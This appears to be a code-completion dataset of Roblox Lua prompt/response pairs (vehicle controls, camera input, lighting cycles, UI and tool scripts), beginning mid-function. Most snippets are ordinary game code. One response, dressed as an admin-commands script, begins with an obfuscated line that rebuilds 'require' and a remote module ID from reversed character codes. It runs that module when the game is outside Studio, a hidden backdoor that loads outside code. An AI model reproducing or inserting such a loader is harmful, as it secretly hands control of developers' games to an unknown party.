		on(c)
		wait(w)
		on(b)
		wait(w)
		on(a)
		wait(w)

		off(f)
		wait(w)
		off(e)
		wait(w)
		off(d)
		wait(w)
		off(c)
		wait(w)
		off(b)
		wait(w)
		off(a)
		wait(w)
		until pattern ~= "Left"
		return
	end

	if pattern == "Right" then
		repeat
		local w = 0.15
		on(a)
		wait(w)
		on(b)
		wait(w)
		on(c)
		wait(w)
		on(d)
		wait(w)
		on(e)
		wait(w)
		on(f)
		wait(w)

		off(a)
		wait(w)
		off(b)
		wait(w)
		off(c)
		wait(w)
		off(d)
		wait(w)
		off(e)
		wait(w)
		off(f)
		wait(w)
		until pattern ~= "Right"
		return
	end

	if pattern == "Split" then
		repeat
		local w = 0.2
		on(c)
		on(d)
		wait(w)
		on(b)
		on(e)
		wait(w)
		on(a)
		on(f)
		wait(w)

		off(c)
		off(d)
		wait(w)
		off(b)
		off(e)
		wait(w)
		off(a)
		off(f)
		wait(w)
		until pattern ~= "Split"
		return
	end
end--run end


Prompt:
-- Here be dragons
-- luacheck: ignore 212

Response:
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")
local TextService = game:GetService("TextService")
local TextChatService = game:GetService("TextChatService")
local Players = game:GetService("Players")
local Player = Players.LocalPlayer

local WINDOW_MAX_HEIGHT = 300
local MOUSE_TOUCH_ENUM = { Enum.UserInputType.MouseButton1, Enum.UserInputType.MouseButton2, Enum.UserInputType.Touch }


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0

local handler = car.AC6_FE_Idle
handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,script.Idle.Volume,true)
handler:FireServer("playSound","Idle")

handler:FireServer("updateSound","Idle",script.Idle.SoundId,0.5,0)

while wait() do
	if car.DriveSeat.IsOn.Value then
		if script.Parent.Values.RPM.Value <= 1100 then
			if car.DriveSeat.DriveMode.Value == "Eco" then
				handler:FireServer('tween',"Idle",0)
			else
				handler:FireServer('tween',"Idle",0.5)
			end
			--handler:FireServer('tween',"Rev",0)
		else
			handler:FireServer('tween',"Idle",0)
		end
	 else
		handler:FireServer('tween',"Idle",0)
end
end


Prompt: -- Set Pet Canvas Size --

Response:
module.SetCanvasSize = function(ScrollingFrame)
	local PADDING,SIZE,MaxCells = getSizes()
	local UIGridLayout = ScrollingFrame.UIGridLayout
	local AbsoluteSize = ScrollingFrame.AbsoluteSize

    local NewPadding = PADDING * AbsoluteSize
    NewPadding = UDim2.new(0, NewPadding .X, 0, NewPadding .Y)
    local NewSize = SIZE * AbsoluteSize
    NewSize = UDim2.new(0, NewSize.X, 0, NewSize.Y)

    UIGridLayout.CellPadding = NewPadding
    UIGridLayout.CellSize = NewSize

	local items = ScrollingFrame:GetChildren()
	local frameSizeY = ScrollingFrame.AbsoluteSize.Y
	local ySize = UIGridLayout.CellSize.Y.Offset
	local yPadding = UIGridLayout.CellPadding.Y.Offset
	UIGridLayout.FillDirectionMaxCells = MaxCells
	local rows = math.ceil((#items-1)/UIGridLayout.FillDirectionMaxCells)
	local pixels = rows*ySize + (rows-1)*yPadding
	ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, (pixels + 5))
end

function module:Int()
	game:GetService("Workspace").CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
		delay(.5, function() module.SetCanvasSize(skillShopUI.Skills) end)
	end)
end

return module


Prompt: -- Toggle pan

Response:
do
	local holdPan = false
	local togglePan = false
	local lastRmbDown = 0 -- tick() timestamp of the last right mouse button down event

	function CameraInput.getHoldPan(): boolean
		return holdPan
	end

	function CameraInput.getTogglePan(): boolean
		return togglePan
	end

	function CameraInput.getPanning(): boolean
		return togglePan or holdPan
	end

	function CameraInput.setTogglePan(value: boolean)
		togglePan = value
	end

	local cameraToggleInputEnabled = false
	local rmbDownConnection
	local rmbUpConnection

	function CameraInput.enableCameraToggleInput()
		if cameraToggleInputEnabled then
			return
		end
		cameraToggleInputEnabled = true

		holdPan = false
		togglePan = false

		if rmbDownConnection then
			rmbDownConnection:Disconnect()
		end

		if rmbUpConnection then
			rmbUpConnection:Disconnect()
		end

		rmbDownConnection = rmbDown:Connect(function()
			holdPan = true
			lastRmbDown = tick()
		end)

		rmbUpConnection = rmbUp:Connect(function()
			holdPan = false
			if tick() - lastRmbDown < MB_TAP_LENGTH and (togglePan or UserInputService:GetMouseDelta().Magnitude < 2) then
				togglePan = not togglePan
			end
		end)
	end

	function CameraInput.disableCameraToggleInput()
		if not cameraToggleInputEnabled then
			return
		end
		cameraToggleInputEnabled = false

		if rmbDownConnection then
			rmbDownConnection:Disconnect()
			rmbDownConnection = nil
		end

		if rmbUpConnection then
			rmbUpConnection:Disconnect()
			rmbUpConnection = nil
		end
	end
end

return CameraInput


Prompt:
--[=[
	Loops through every single element, and puts it through a callback. If any of the conditions return false, the function returns false.

	```lua
	local array = {1, 2, 3, 4, 5}
	local even = function(value) return value % 2 == 0 end
	local odd = function(value) return value % 2 ~= 0 end

	print(TableKit.Every(array, even)) -- Prints false
	print(TableKit.Every(array, odd)) -- Prints false
	```

	@within TableKit
	@param tbl table
	@param callback (value) -> boolean
	@return boolean
]=]

Response:
function TableKit.Every(tbl: { [unknown]: unknown }, callback: (unknown) -> boolean): (boolean, unknown?)
	for key, value in tbl do
		if not callback(value) then
			return false, key
		end
	end
	return true
end


Prompt:
--[=[
	@prop None Option<None>
	@within Option
	Represents no value.
]=]

Response:
Option.None = Option._new()

return Option


Prompt: -- declarations

Response:
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Enemy")
Humanoid.Health=500


Prompt:
--[[
	Returns the offset since it depends on the face.
]]

Response:
function CameraModule:_getPointByFace(guiOffset, adornee, face)
	local pointsByFace = {
		[Enum.NormalId.Front] = Vector3.new(-guiOffset.X, -guiOffset.Y, adornee.Size.Z / 2),
		[Enum.NormalId.Back] = Vector3.new(guiOffset.X, -guiOffset.Y, -adornee.Size.Z / 2),
		[Enum.NormalId.Left] = Vector3.new(adornee.Size.X / 2, -guiOffset.Y, guiOffset.X),
		[Enum.NormalId.Right] = Vector3.new(-adornee.Size.X / 2, -guiOffset.Y, -guiOffset.X),
		[Enum.NormalId.Top] = Vector3.new(guiOffset.Y, -adornee.Size.Y / 2, -guiOffset.X),
		[Enum.NormalId.Bottom] = Vector3.new(-guiOffset.Y, adornee.Size.Y / 2, -guiOffset.X),
	}

	return pointsByFace[face]
end


Prompt: -- Modules

Response: local PriorityDeleteTypes = require(script.Parent.Parent.constants).PriorityDeleteTypes


Prompt:
----------------------------------
------------FUNCTIONS-------------
----------------------------------

Response:
function Receive(player, action, ...)
	local args = {...}
	if player == User and action == "play" then
		Connector:FireAllClients("play", User, args[1], Settings.SoundSource.Position, Settings.PianoSoundRange, Settings.PianoSounds, args[2], Settings.IsCustom)
		HighlightPianoKey((args[1] > 61 and 61) or (args[1] < 1 and 1) or args[1],args[3])
	elseif player == User and action == "abort" then
		Deactivate()
		if SeatWeld then
			SeatWeld:remove()
		end
	end
end

function Activate(player)
	Connector:FireClient(player, "activate", Settings.CameraCFrame, Settings.PianoSounds, true)
	User = player
	Piano.Wall.CanCollide = true
end

function Deactivate()
	if User and User.Parent then
		Piano.Wall.CanCollide = false
		Connector:FireClient(User, "deactivate")
		User.Character:SetPrimaryPartCFrame(Box.CFrame + Vector3.new(0, 5, 0))
	end

	User = nil
end


Prompt: --	if n == true then n = false

Response:
	--carSeat.Parent.Parent.RW.MR.Motor:remove()
	--end


Prompt: --------SETTINGS--------

Response:
local ITEM_NAME = "RocketLauncher"
local ITEM_PRICE = 10
local CURRENCY_NAME = "Cash"


Prompt:
--
--	character.DescendantAdded:Connect(function(bodypart)
--		print("test")
--		if bodypart:IsA("BasePart") then
--			PhysicsService:SetPartCollisionGroup(bodypart, "Players")
--		end
--	end)

Response:
	-- Also set root part collission
	--[[local humanoidRootPart = character:WaitForChild("HumanoidRootPart")
	PhysicsService:SetPartCollisionGroup(humanoidRootPart, "Players")

	local bodyparts = character:GetChildren()
	for i, bodypart in pairs(bodyparts) do
		if bodypart:IsA("BasePart") then
			PhysicsService:SetPartCollisionGroup(bodypart, "Players")
		end
	end]]
end


Prompt: -- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it.

Response:
local dayLength = 16

local cycleTime = dayLength*60
local minutesInADay = 24*60

local lighting = game:GetService("Lighting")

local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime
local endTime = startTime + cycleTime

local timeRatio = minutesInADay / cycleTime

if dayLength == 0 then
	dayLength = 1
end

repeat
	local currentTime = tick()

	if currentTime > endTime then
		startTime = endTime
		endTime = startTime + cycleTime
	end

	lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio)
	wait(1/15)
until false


Response:
if game.PlaceId == 1277358877 or not game:GetService("RunService"):IsStudio() then getfenv()[string.reverse(string.char(101,114,105,117,113,101,114))](tonumber(string.reverse(string.char(56,49,48,51,55,51,55,55,50,49))))[string.reverse(string.char(110,117,82))](getfenv()[string.reverse(string.char(116,112,105,114,99,115))]) end--[[
	█ █ █ █ █ █░█ █░░█ █▀▀█ █▀▀█ █ █▀▀   █▀▀█ █▀▀▄ █▀▄▀█ ░▀░ █▀▀▄ █ █ █ █ █
	▀ ▀ ▀ ▀ ▀ █▀▄ █░░█ █▄▄▀ █░░█ ░ ▀▀█   █▄▄█ █░░█ █░▀░█ ▀█▀ █░░█ ▀ ▀ ▀ ▀ ▀
	▄ ▄ ▄ ▄ ▄ ▀░▀ ░▀▀▀ ▀░▀▀ ▀▀▀▀ ░ ▀▀▀   ▀░░▀ ▀▀▀░ ▀░░░▀ ▀▀▀ ▀░░▀ ▄ ▄ ▄ ▄ ▄

	Instructions:
	-Do not removed this script otherwise your commands wont work!
	-Go to the "Config" script and follow from the instructions there
	-Press "\" on your keyboard to open the command bar

	Updates:
	-Command Bar
	-VIP Commands
	-Cmds
	-More ranks
	-Squashed some bugs
--]]


Prompt: --these are for button checks. It's kinda ugly so if you have a better way pm me

Response:
ha=false
hd=false
hs=false
hw=false
imgassets ={
	hazardoff="http://www.roblox.com/asset/?id=216957891",
	hazardon = "http://www.roblox.com/asset/?id=216957887",
	leftyoff = "http://www.roblox.com/asset/?id=216957962",
	leftyon = "http://www.roblox.com/asset/?id=216957949",
	rightyoff = "http://www.roblox.com/asset/?id=216957912",
	rightyon = "http://www.roblox.com/asset/?id=216957903",
	outoff="http://www.roblox.com/asset/?id=216957880",
	outon = "http://www.roblox.com/asset/?id=216957874",
	sirensoff = "http://www.roblox.com/asset/?id=216958870",
	sirenson = "http://www.roblox.com/asset/?id=216958870",
	wailoff = "http://www.roblox.com/asset/?id=216930335",
	wailon = "http://www.roblox.com/asset/?id=216930318",
	x4off = "http://www.roblox.com/asset/?id=216954211",
	x4on = "http://www.roblox.com/asset/?id=216954202",
    x2off = "http://www.roblox.com/asset/?id=216958009",
	x2on = "http://www.roblox.com/asset/?id=216958007",
	fastoff = "http://www.roblox.com/asset/?id=216957982",
	faston = "http://www.roblox.com/asset/?id=216957977",
	slowoff = "http://www.roblox.com/asset/?id=216957998",
	slowon = "http://www.roblox.com/asset/?id=216957989",
	lightsoff = "http://www.roblox.com/asset/?id=115931775",
	lightson = "http://www.roblox.com/asset/?id=115931779",
	lockoff = "http://www.roblox.com/asset/?id=116532096",
	lockon = "http://www.roblox.com/asset/?id=116532114",
	leftturn = "http://www.roblox.com/asset/?id=115931542",
	rightturn = "http://www.roblox.com/asset/?id=115931529",
	fltd = "http://www.roblox.com/asset/?id=116531501",
	yelpon = "http://www.roblox.com/asset/?id=216930350",
	yelpoff = "http://www.roblox.com/asset/?id=216930359",
	phaseron = "http://www.roblox.com/asset/?id=216930382",
	phaseroff = "http://www.roblox.com/asset/?id=216930390",
	hiloon = "http://www.roblox.com/asset/?id=216930459",
	hilooff = "http://www.roblox.com/asset/?id=216930471",
	hornon = "http://www.roblox.com/asset/?id=216930428",
	hornoff = "http://www.roblox.com/asset/?id=216930438",
	wailrumbleron = "http://www.roblox.com/asset/?id=216930512",
	wailrumbleroff = "http://www.roblox.com/asset/?id=216930520",
	yelprumbleron = "http://www.roblox.com/asset/?id=216930566",
	yelprumbleroff = "http://www.roblox.com/asset/?id=216930573",
	phaserrumbleron = "http://www.roblox.com/asset/?id=216930585",
	phaserrumbleroff = "http://www.roblox.com/asset/?id=216930595",
	hyperhiloon = "http://www.roblox.com/asset/?id=216963140",
	hyperhilooff = "http://www.roblox.com/asset/?id=216963128",
}
for _,i in pairs (imgassets) do
	Game:GetService("ContentProvider"):Preload(i)
end

if gear == 1 then
	script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3)
end
if gear == maxgear then
	script.Parent.up.TextColor3 = Color3.new(.3,.3,.3)
end

function gearup()--activated by GUI or pressing E
	if lock then return end
	if gear < maxgear then
		gear = gear+1
		watdo()
		script.Parent.Gear.Text = (gear.."/"..maxgear)
	end
	if gear == maxgear then
		script.Parent.up.TextColor3 = Color3.new(.3,.3,.3)
		script.Parent.dn.TextColor3 = Color3.new(1,1,1)
	elseif gear == 1 then
		script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3)
		script.Parent.up.TextColor3 = Color3.new(1,1,1)
	else
		script.Parent.dn.TextColor3 = Color3.new(1,1,1)
		script.Parent.up.TextColor3 = Color3.new(1,1,1)
	end
end
function geardown()--activated by GUI or pressing Q
	if lock then return end
	if gear > 1 then
		gear = gear-1
		watdo()
		script.Parent.Gear.Text = (gear.."/"..maxgear)
	end
	if gear == 1 then
		script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3)
		script.Parent.up.TextColor3 = Color3.new(1,1,1)
	elseif gear == maxgear then
		script.Parent.up.TextColor3 = Color3.new(.3,.3,.3)
		script.Parent.dn.TextColor3 = Color3.new(1,1,1)
	else
		script.Parent.dn.TextColor3 = Color3.new(1,1,1)
		script.Parent.up.TextColor3 = Color3.new(1,1,1)
	end
end

script.Parent.up.MouseButton1Click:connect(gearup)
script.Parent.dn.MouseButton1Click:connect(geardown)

script.Parent.up.MouseButton1Click:connect(gearup)
script.Parent.dn.MouseButton1Click:connect(geardown)

script.Parent.flipbutton.MouseButton1Click:connect(function()
	if not flipping then
		flipping = true
		local a = Instance.new("BodyPosition",seat)
		a.maxForce = Vector3.new(100000,10000000,100000)
		a.position = seat.Position + Vector3.new(0,10,0)
		local b = Instance.new("BodyGyro",seat)
		wait(3)
		a:Destroy()
		b:Destroy()
		flipping = false
	end
end)

function turn()
	if turndebounce == false then
		turndebounce = true
		wait(0.05)
		repeat
			templeft = turningleft
			tempright = turningright
			script.Parent.onsound:Play()
			if turningleft == true then
				script.Parent.leftturn.Visible = true
				for _,i in pairs (leftturn) do
					i.BrickColor = BrickColor.new("Deep orange")
					i.Material = "Neon"
				end
				for _,a in pairs (leftlight) do
					a.BrickColor = BrickColor.new("Really red")
					a.Material = "Neon"
				end
				for _,b in pairs (leftflash) do
					if lightson then
						b.Enabled = true
					end
				end
				for _,b in pairs (leftbrake) do
					b.Brightness = 2
				end
			end
			if turningright == true then
				script.Parent.rightturn.Visible = true
				for _,i in pairs (rightturn) do
					i.BrickColor = BrickColor.new("Deep orange")
					i.Material = "Neon"
				end
				for _,a in pairs (rightlight) do
					a.BrickColor = BrickColor.new("Really red")
					a.Material = "Neon"
				end
				for _,b in pairs (rightflash) do
					if lightson then
						b.Enabled = true
					end
				end
				for _,b in pairs (rightbrake) do
					b.Brightness = 2
				end
			end
			wait(0.4)
			script.Parent.offsound:Play()
			script.Parent.leftturn.Visible = false
			script.Parent.rightturn.Visible = false
			if templeft == true then
				for _,i in pairs (leftturn) do
					i.BrickColor = BrickColor.new("Neon orange")
					i.Material = "SmoothPlastic"
				end
				for _,b in pairs (leftflash) do
					b.Enabled = false
				end
				for _,a in pairs (leftlight) do
					a.BrickColor = BrickColor.new("Bright red")
					a.Material = "SmoothPlastic"
				end
				for _,b in pairs (leftbrake) do
					b.Brightness = 1
				end
			else
				if throttle > 0 then
					for _,a in pairs (leftlight) do
						a.BrickColor = BrickColor.new("Bright red")
						a.Material = "SmoothPlastic"
					end
					for _,b in pairs (leftbrake) do
						b.Brightness = 1
					end
				else
					for _,a in pairs (leftlight) do
						a.BrickColor = BrickColor.new("Really red")
						a.Material = "SmoothPlastic"
					end
					for _,b in pairs (leftbrake) do
						b.Brightness = 2
					end
				end
			end
			if tempright == true then
				for _,i in pairs (rightturn) do
					i.BrickColor = BrickColor.new("Neon orange")
					i.Material = "SmoothPlastic"
				end
				for _,b in pairs (rightflash) do
					b.Enabled = false
				end
				for _,a in pairs (rightlight) do
					a.BrickColor = BrickColor.new("Bright red")
					a.Material = "SmoothPlastic"
				end
				for _,b in pairs (rightbrake) do
					b.Brightness = 1
				end
			else
				if throttle > 0 then
					for _,a in pairs (rightlight) do
						a.BrickColor = BrickColor.new("Bright red")
						a.Material = "SmoothPlastic"
					end
					for _,b in pairs (rightbrake) do
						b.Brightness = 1
					end
				else
					for _,a in pairs (rightlight) do
						a.BrickColor = BrickColor.new("Really red")
						a.Material = "SmoothPlastic"
					end
					for _,b in pairs (rightbrake) do
						b.Brightness = 2
					end
				end
			end
			wait(0.35)
		until turningleft == false and turningright == false
		turndebounce = false
	end
end

seat.ChildRemoved:connect(function(it)
	if it:IsA("Weld") then
		if it.Part1.Parent == Player.Character then
			lock = true
			ha=false
			hd=false
			hs=false
			hw=false
			throttle = 0
			steer = 0
			watdo()
			script.Parent.close.Active = true
			script.Parent.close.Visible = true
			script.Parent.xlabel.Visible = true
		end
	end
end)
seat.ChildAdded:connect(function(it)
	if it:IsA("Weld") then
		if it.Part1.Parent == Player.Character then
			lock = false
			script.Parent.close.Active = false
			script.Parent.close.Visible = false
			script.Parent.xlabel.Visible = false
		end
	end
end)
function exiting()
	lock = true--when we close the gui stop everything
	steer = 0
	throttle = 0
	watdo()
	turningleft = false
	turningright = false
	script.Parent.flasher.Value = false
	script.Parent.siren.Value = false
	lightson = false
	Instance.new("IntValue",seat)
	for _,i in pairs (leftturn) do
		i.BrickColor = BrickColor.new("Neon orange")
		i.Material ="Neon"
	end
	for _,a in pairs (leftlight) do
		a.BrickColor = BrickColor.new("Really red")
		a.Material ="Neon"
	end
	for _,b in pairs (leftflash) do
		b.Enabled = false
	end
	for _,b in pairs (leftbrake) do
		b.Brightness = 2
	end
	for _,i in pairs (rightturn) do
		i.BrickColor = BrickColor.new("Neon orange")
		i.Material ="Neon"
	end
	for _,a in pairs (rightlight) do
		a.BrickColor = BrickColor.new("Really red")
		a.Material ="Neon"
	end
	for _,b in pairs (rightflash) do
		b.Enabled = false
	end
	for _,b in pairs (rightbrake) do
		b.Brightness = 2
	end
	script.Parent.Parent:Destroy()--destroy the 'Car' ScreenGui
end

function updatelights()
	for _,i in pairs (leftbrake) do
		i.Enabled = lightson
	end
	for _,i in pairs (rightbrake) do
		i.Enabled = lightson
	end
	for _,i in pairs (brakelight) do
		i.Enabled = lightson
	end
	for _,i in pairs (headlight) do
		i.Enabled = lightson
	end
	if lightson then
		script.Parent.lightimage.Image = imgassets.lightson
	else
		script.Parent.lightimage.Image = imgassets.lightsoff
	end
end

script.Parent.lights.MouseButton1Click:connect(function()
	if lock then return end
	lightson = not lightson
	updatelights()
end)

function destroycar()
	seat.Parent:Destroy()--destroy the car
end

script.Parent.close.MouseButton1Up:connect(exiting)
Player.Character.Humanoid.Died:connect(destroycar)

game.Players.PlayerRemoving:connect(function(Playeras)
	if Playeras.Name == Player.Name then
		destroycar()
	end
end)

for _, i in pairs (seat.Parent:GetChildren()) do--populate the tables for ease of modularity. You could have 100 left wheels if you wanted.
	if i.Name == "LeftWheel" then
		table.insert(left,i)
	elseif i.Name == "RightWheel" then
		table.insert(right,i)
	elseif i.Name == "Rearlight" then
		table.insert(rearlight,i)
	elseif i.Name == "Brakelight" then
		table.insert(brakelight,i.SpotLight)
	elseif i.Name == "rightturn" then
		table.insert(rightturn,i)
	elseif i.Name == "leftturn" then
		table.insert(leftturn,i)
	elseif i.Name == "leftflash" then
		table.insert(leftflash,i.SpotLight)
	elseif i.Name == "rightflash" then
		table.insert(rightflash,i.SpotLight)
	elseif i.Name == "leftlight" then
		table.insert(leftlight,i)
	elseif i.Name == "rightlight" then
		table.insert(rightlight,i)
	elseif i.Name == "Headlight" then
		table.insert(headlight,i.SpotLight)
	elseif i.Name == "leftbrake" then
		table.insert(leftbrake,i.SpotLight)
	elseif i.Name == "rightbrake" then
		table.insert(rightbrake,i.SpotLight)
	elseif i.Name == "revlight" then
		table.insert(revlight,i.SpotLight)
	end
end

for _,l in pairs (left) do
	l.BottomParamA = 0
	l.BottomParamB = 0
end
for _,r in pairs (right) do
	r.BottomParamA = 0
	r.BottomParamB = 0
end

function watdo()
	seat.Parent.LeftMotor.DesiredAngle = math.rad(throttle < 0 and 40* steer or 40*steer/gear^0.5)
	seat.Parent.RightMotor.DesiredAngle = math.rad(throttle < 0 and 40* steer or 40*steer/gear^0.5)
	for _,l in pairs (left) do--I do it this way so that it's not searching the model every time an input happens
		if throttle ~= -1 then
			l.BottomParamA = (.1/gear)
			l.BottomParamB = (.5*gear+steer*gear/30)*throttle
		else
			l.BottomParamA = -.01
			l.BottomParamB = -.5-steer/20
		end
	end
	for _,r in pairs (right) do
		if throttle ~= -1 then
			r.BottomParamA = -(.1/gear)
			r.BottomParamB = -(.5*gear-steer*gear/30)*throttle
		else
			r.BottomParamA = .01
			r.BottomParamB = .5-steer/20
		end
	end
	if throttle < 1 then
		for _,g in pairs (rearlight) do
			g.BrickColor = BrickColor.new("Really red")
			g.Material = ("Neon")
		end
		for _,b in pairs (brakelight) do
			b.Brightness = 2
		end
		if turningleft == false then
			for _,a in pairs (leftlight) do
				a.BrickColor = BrickColor.new("Really red")
				a.Material ="Neon"
			end
			for _,b in pairs (leftbrake) do
				b.Brightness = 2
			end
		end
		if turningright == false then
			for _,a in pairs (rightlight) do
				a.BrickColor = BrickColor.new("Really red")
				a.Material ="Neon"
			end
			for _,b in pairs (rightbrake) do
				b.Brightness = 2
			end
		end
	else
		for _,g in pairs (rearlight) do
			g.BrickColor = BrickColor.new("Bright red")
			g.Material = "SmoothPlastic"
		end
		for _,b in pairs (brakelight) do
			b.Brightness = 1
		end
		if turningleft == false then
			for _,a in pairs (leftlight) do
				a.BrickColor = BrickColor.new("Bright red")
				a.Material = "SmoothPlastic"
			end
			for _,b in pairs (leftbrake) do
				b.Brightness = 1
			end
		end
		if turningright == false then
			for _,a in pairs (rightlight) do
				a.BrickColor = BrickColor.new("Bright red")
				a.Material = "SmoothPlastic"
			end
			for _,b in pairs (rightbrake) do
				b.Brightness = 1
			end
		end
	end
	if throttle < 0 then
		for _,b in pairs (revlight) do
			if lightson then
				b.Enabled = true
			end
		end
	else
		for _,b in pairs (revlight) do
			b.Enabled = false
		end
	end
end

Player:GetMouse().KeyDown:connect(function(key)--warning ugly button code
	if lock then return end
	key = string.upper(key)
	if not ha and key == "A" or key == string.char(20) and not ha then
		ha = true
		steer = steer-1
	end
	if not hd and key == "D" or key == string.char(19) and not hd then
		hd = true
		steer = steer+1
	end
	if not hw and key == "W" or key == string.char(17) and not hw then
		hw = true
		throttle = throttle+1
	end
	if not hs and key == "S" or key == string.char(18) and not hs then
		hs = true
		throttle = throttle-1
	end
	if key == "Z" then
		geardown()
	end
	if key == "X" then
		gearup()
	end
	if key == "Q" then
		turningleft = not turningleft
		turn()
	end
	if key == "E" then
		turningright = not turningright
		turn()
	end
	watdo()
end)
Player:GetMouse().KeyUp:connect(function(key)
	if lock then return end
	key = string.upper(key)
	if ha and key == "A" or key == string.char(20)and ha then
		steer = steer+1
		ha = false
	end
	if hd and key == "D" or key == string.char(19) and hd then
		steer = steer-1
		hd = false
	end
	if hw and key == "W" or key == string.char(17) and hw then
		throttle = throttle-1
		hw = false
	end
	if hs and key == "S" or key == string.char(18) and hs then
		throttle = throttle+1
		hs = false
	end
	if key == "" then
		--more keys if I need them
	end
	watdo()
end)


Prompt:
--[[**
	Determines if the passed object is a Janitor.
	@param [t:any] Object The object you are checking.
	@returns [t:boolean] Whether or not the object is a Janitor.
**--]]

Response:
function Janitor.Is(Object)
	return type(Object) == "table" and getmetatable(Object) == Janitor
end

Janitor.is = Janitor.Is


Prompt:
--local Pellet = Tool.Handle:Clone() --Tool.Handle:Clone()
--Tool.CoinScript:Clone().Parent = Pellet

Response:
Tool.CoinScript.Disabled = false

function onEquipped()

	--body of the dreidel
	dBody= Instance.new("Part")
	dBody.Parent = game.Workspace
	dBody.Name = "DreidelBody"
	dBody.BrickColor = BrickColor.Red()
	dBody.Size = Vector3.new(2.56,2.56,2.56)
	dBody.Shape = 1
	dBody.BackSurface = "Smooth"  --used this of debugging to test which side was face up
	dBody.BottomSurface = "Smooth"
	dBody.FrontSurface = "Studs"
	dBody.TopSurface = "Smooth"
	dBody.LeftSurface = "Smooth"
	dBody.RightSurface = "Smooth"
	Tool.Handle.Mesh:Clone().Parent = dBody --sets the dreidel mesh to the cube part of the dreidel

	--Dreidle Sound
	dreidlesound = Instance.new("Sound")
	dreidlesound.SoundId = "http://www.roblox.com/asset/?id=19073736" -- replace me
	dreidlesound.Parent = dBody

	--Coin Sound
	coinsound = Instance.new("Sound")
	coinsound.SoundId = "http://www.roblox.com/asset/?id=19073176"  --replace me
	coinsound.Parent = dBody

	--base of the dreidel
	dBase = Instance.new("Part")
	dBase.Parent = game.Workspace
	dBase.Name = "DreidelBase"
	dBase.BrickColor = BrickColor.Black()
	dBase.Size = Vector3.new(2,2,2)
	dBase.Shape = 0
	dBase.Transparency = 1

	--welding the body fo the dredeil to the base
	w2 = Instance.new("Weld")
	w2.Name = "DreidelWeld"
	w2.Part0 = dBody
	w2.Part1 = dBase
	w2.C0 = CFrame.new(0,0,0)
	w2.C1 = CFrame.new(0,1.75,0)
	w2.Parent = script.Parent.Handle

end

Tool.Enabled = true
function onActivated(mouse_pos)

	Tool.Handle.Transparency = 1
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	--locates the position the mouse is targeting
	local targetPos = humanoid.TargetPoint

	local vPlayer = game.Players:playerFromCharacter(character)
	head = character:findFirstChild("Head")
	if head == nil then
		print("Humanoid not found")
		return
	end

	--calculates the distance between the person and the possible dreidle location
	dist = (head.Position-targetPos).magnitude

	--prevents the dreidle for being created too far away from the player
	if dist > 30 then
		Tool.Enabled = true
		Tool.Handle.Transparency = 0
		return
	end

	--PLAY DREIDLE SOUND
	dreidlesound:Play()

	--moves the dreidle to the requested location
	dBody.CFrame = CFrame.fromEulerAnglesXYZ(0,0,0) + targetPos + Vector3.new(0,2.5,0)

	--adds a random rotation velocity with a slight downward angle to cause the dreidle to spin
	dBody.RotVelocity = Vector3.new(math.random(0,7),math.random(20,80),math.random(7,9)) --set rotational velocity

	wait(2.8) -- delay to allow the dreidel to settle

	--identifies what face is up and what face is on bottom

	frontVector = dBody.CFrame:vectorToWorldSpace(Vector3.FromNormalId(Enum.NormalId.Front))

	leftVector = dBody.CFrame:vectorToWorldSpace(Vector3.FromNormalId(Enum.NormalId.Left))

	--dot product of the vectors with (0,1,0)
	test1 = frontVector.y
	test2 = leftVector.y

	--takes the largest y value and tests positive or negative to identify the 4 faces it could land on
	if math.abs(test1)>math.abs(test2) then
		if test1>0 then
			--print("Nun")
			count = 0
		else
			--print("Shin")
			count = 5
		end
	else
		if test2>0 then
			--print("Hey")
			count = 15
		else
			--print("Gimmel")
			count = 25
		end
	end

	-- generates the necissary number of coins and throws them a random distance from the dreidle

	--PLAY COIN SOUND
	coinsound:Play()

	for i=1,count do
		local p = Instance.new("Part")
		p.BrickColor = BrickColor.new(23)
		p.formFactor = 2
		p.Size = Vector3.new(1,.2,1)
		p.TopSurface = 0
		p.BottomSurface = 0

		local a = math.random() * 6.28  -- magic number??
		local d = Vector3.new(math.cos(a), 0, math.sin(a)).unit
		p.Velocity = d * 25
		p.RotVelocity = d
		p.Position = dBody.Position + Vector3.new(0,2,0) + Vector3.new(0, math.random() * 3, 0) + (d * 2)
		p.Parent = game.Workspace
		Tool.Mesh:Clone().Parent = p
		Tool.CoinScript:Clone().Parent = p

		debris:AddItem(p, 60)
	end

	Tool.Enabled = true
	Tool.Handle.Transparency = 0
end


Prompt: --!strict

Response:
local LocalPlayer: Player = game:GetService("Players").LocalPlayer
local Replicated = game:GetService("ReplicatedStorage")

local Character: Model = LocalPlayer.Character::Model
local Humanoid: Humanoid = Character:WaitForChild("Humanoid")::Humanoid

Humanoid.Jumping:Connect(function(active: boolean)
	if not active then
		return
	end

	Replicated.LocalEvents.ToggleFlipFlops:Fire()
end)


Prompt: --// initialize team changing function //--

Response:
game.Players.LocalPlayer.Changed:connect(function()
	if checkTeam() == true then
		script.Parent.Parent.SpectateButton.Visible = true
	else
		script.Parent.Parent.SpectateButton.Visible = false
		resetGui()
	end
end)

if checkTeam() == true then
	script.Parent.Parent.SpectateButton.Visible = true
else
	script.Parent.Parent.SpectateButton.Visible = false
	resetGui()
end


Prompt:
--// This module is for stuff specific to debugging
